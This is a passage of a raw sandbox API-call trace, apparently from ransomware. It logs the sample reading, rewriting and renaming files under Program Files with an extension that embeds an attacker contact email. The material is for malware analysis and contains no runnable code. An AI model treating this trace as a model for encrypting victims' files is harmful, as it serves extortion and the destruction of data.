lpNumberOfBytesWritten=0x523ff0c*=0xa1a0, lpOverlapped=0x0) returned 1 [0233.836] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.836] WriteFile (in: hFile=0x6a8, lpBuffer=0x736450f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x736450f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.923] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.924] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.925] CloseHandle (hObject=0x6a8) returned 1 [0233.925] GetProcessHeap () returned 0x630000 [0233.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x735a370 | out: hHeap=0x630000) returned 1 [0233.933] GetProcessHeap () returned 0x630000 [0233.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73501a0 | out: hHeap=0x630000) returned 1 [0233.934] GetProcessHeap () returned 0x630000 [0233.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0233.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51612daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa1cc, dwReserved0=0xa0c7496, dwReserved1=0x7350198, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0233.934] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0233.934] Sleep (dwMilliseconds=0x1) [0235.638] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html", len=0x6f | out: pbstr=0x523ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html") returned 1 [0235.639] GetProcessHeap () returned 0x630000 [0235.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fcc) returned 0x6fe3bb0 [0235.639] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0235.665] CloseHandle (hObject=0x620) returned 1 [0235.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.665] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0235.737] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.737] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0235.738] GetProcessHeap () returned 0x630000 [0235.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x70c30a8 [0235.738] GetProcessHeap () returned 0x630000 [0235.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x70cc138 [0235.738] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.738] ReadFile (in: hFile=0x620, lpBuffer=0x70c30a8, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesRead=0x523ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.886] GetProcessHeap () returned 0x630000 [0241.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0241.886] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.886] WriteFile (in: hFile=0x620, lpBuffer=0x70cc138*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70cc138*, lpNumberOfBytesWritten=0x523ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.887] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.887] WriteFile (in: hFile=0x620, lpBuffer=0x70d5197*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d5197*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.887] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.887] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.887] CloseHandle (hObject=0x620) returned 1 [0241.887] GetProcessHeap () returned 0x630000 [0241.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70cc138 | out: hHeap=0x630000) returned 1 [0241.887] GetProcessHeap () returned 0x630000 [0241.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0241.887] GetProcessHeap () returned 0x630000 [0241.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x561f2604, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xa0c7496, dwReserved1=0x70c30a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0243.188] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0243.188] Sleep (dwMilliseconds=0x1) [0243.191] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Medium.png", len=0x73 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Medium.png") returned 1 [0243.191] GetProcessHeap () returned 0x630000 [0243.191] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e0) returned 0x6fe3bb0 [0243.191] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Medium.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_medium.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.207] Sleep (dwMilliseconds=0x1) [0243.248] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png", len=0x76 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png") returned 1 [0243.248] GetProcessHeap () returned 0x630000 [0243.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5228) returned 0x6fe3bb0 [0243.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.256] Sleep (dwMilliseconds=0x1) [0243.282] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus.png", len=0x6e | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus.png") returned 1 [0243.282] GetProcessHeap () returned 0x630000 [0243.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c4) returned 0x6fe3bb0 [0243.283] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\plus.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.291] Sleep (dwMilliseconds=0x1) [0243.309] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow.png", len=0x6f | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow.png") returned 1 [0243.309] GetProcessHeap () returned 0x630000 [0243.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0243.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\arrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.317] Sleep (dwMilliseconds=0x1) [0243.339] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100.png", len=0x71 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100.png") returned 1 [0243.339] GetProcessHeap () returned 0x630000 [0243.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5128) returned 0x6fe3bb0 [0243.340] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.340] Sleep (dwMilliseconds=0x1) [0243.352] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-white.png", len=0x7b | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-white.png") returned 1 [0243.352] GetProcessHeap () returned 0x630000 [0243.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d0) returned 0x6fe3bb0 [0243.352] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.352] Sleep (dwMilliseconds=0x1) [0243.365] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-white.png", len=0x81 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-white.png") returned 1 [0243.365] GetProcessHeap () returned 0x630000 [0243.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ac) returned 0x6fe3bb0 [0243.365] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.365] Sleep (dwMilliseconds=0x1) [0243.399] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-black.png", len=0x7d | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-black.png") returned 1 [0243.399] GetProcessHeap () returned 0x630000 [0243.399] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x503c) returned 0x6fe3bb0 [0243.399] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.399] Sleep (dwMilliseconds=0x1) [0243.412] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80.png", len=0x70 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80.png") returned 1 [0243.412] GetProcessHeap () returned 0x630000 [0243.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5018) returned 0x6fe3bb0 [0243.412] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.412] Sleep (dwMilliseconds=0x1) [0243.429] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-white.png", len=0x7f | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-white.png") returned 1 [0243.429] GetProcessHeap () returned 0x630000 [0243.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc4) returned 0x6fe3bb0 [0243.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-36_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.430] Sleep (dwMilliseconds=0x1) [0243.444] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-black.png", len=0x7f | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-black.png") returned 1 [0243.444] GetProcessHeap () returned 0x630000 [0243.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa0) returned 0x6fe3bb0 [0243.444] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-30_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.444] Sleep (dwMilliseconds=0x1) [0243.505] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400.png", len=0x6c | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400.png") returned 1 [0243.505] GetProcessHeap () returned 0x630000 [0243.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f4c) returned 0x6fe3bb0 [0243.505] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.505] Sleep (dwMilliseconds=0x1) [0243.522] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-black.png", len=0x73 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-black.png") returned 1 [0243.522] GetProcessHeap () returned 0x630000 [0243.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f08) returned 0x6fe3bb0 [0243.523] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\search.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.523] Sleep (dwMilliseconds=0x1) [0243.536] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_rounded_corners.png", len=0x82 | out: pbstr=0x523ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_rounded_corners.png") returned 1 [0243.536] GetProcessHeap () returned 0x630000 [0243.537] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef4) returned 0x6fe3bb0 [0243.537] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_rounded_corners.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo_color_rounded_corners.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.550] Sleep (dwMilliseconds=0x1) [0243.570] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl", len=0x7b | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl") returned 1 [0243.570] GetProcessHeap () returned 0x630000 [0243.570] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea8) returned 0x6fe3bb0 [0243.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0243.626] CloseHandle (hObject=0x6a8) returned 1 [0243.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 